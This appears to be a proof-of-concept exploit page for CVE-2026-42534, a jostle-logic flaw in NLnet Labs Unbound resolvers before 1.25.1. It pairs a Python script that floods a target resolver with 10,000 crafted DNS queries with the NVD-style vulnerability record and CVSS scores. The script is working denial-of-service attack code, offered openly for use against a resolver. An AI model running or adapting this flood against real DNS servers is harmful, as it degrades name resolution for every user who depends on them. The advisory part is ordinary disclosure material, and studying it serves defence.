CVE-2026-42534

import socket import time import struct def create_dns_query(domain): transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Encode domain name question = b'' for part in domain.split('.'): question += bytes([len(part)]) + part.encode() question += b'\x00' # QTYPE (A record) and QCLASS (IN) question += struct.pack('!HH', 1, 1) return header + question def exploit_unbound(target_ip, target_port, domain, count): """ Proof of Concept for CVE-2026-42534. This script floods the Unbound resolver with queries for a specific domain. Note: To successfully exploit, the attacker must control the authoritative DNS server for the target domain and ensure it responds very slowly or drops packets. """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_dns_query(domain) print(f"[*] Sending {count} queries to {target_ip}:{target_port} for {domain}...") print("[*] Ensure the authoritative server for this domain is responding slowly to trigger the jostle logic bug.") for i in range(count): try: sock.sendto(payload, (target_ip, target_port)) except Exception as e: print(f"Error sending packet: {e}") sock.close() print("[*] Attack packets sent.") if __name__ == "__main__": TARGET_IP = "127.0.0.1" TARGET_PORT = 53 DOMAIN = "example.com" PACKET_COUNT = 10000 exploit_unbound(TARGET_IP, TARGET_PORT, DOMAIN, PACKET_COUNT)

{"cve": {"id": "CVE-2026-42534", "sourceIdentifier": "[email protected]", "published": "2026-05-20T10:16:27.477", "lastModified": "2026-05-20T22:50:00.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability in the jostle logic that could defeat its purpose and degrade resolution performance. Retransmits of the same query could renew the age of slow running queries and not allow the jostle logic to see them as aged and potential targets for replacement with new queries. An adversary who can query a vulnerable Unbound and who can control a domain name server that replies slowly and/or maliciously to Unbound's queries can exploit the vulnerability and degrade the resolution performance of Unbound. When Unbound's 'num-queries-per-thread' reaches its limit, the jostle logic kicks in. When a new query comes in, half of the available queries that are also slow to resolve are candidates for replacement. The vulnerability then happens because duplicate queries that need resolution would skew the aging result by using the timestamp of the latest duplicate query instead of the original one that started the resolution effort. Cache and local data response performance remains unaffected. Coordinated attacks could raise this to a denial of resolution service. Unbound 1.25.1 contains a patch with a fix to attach an initial, non-updatable start time for incoming queries that allow the jostle logic to work as intended."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-440"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nlnetlabs:unbound:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.1", "matchCriteriaId": "45EC9AEF-23EC-4ECC-A769-18DF07B2CAEC"}]}]}], "references": [{"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-42534.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}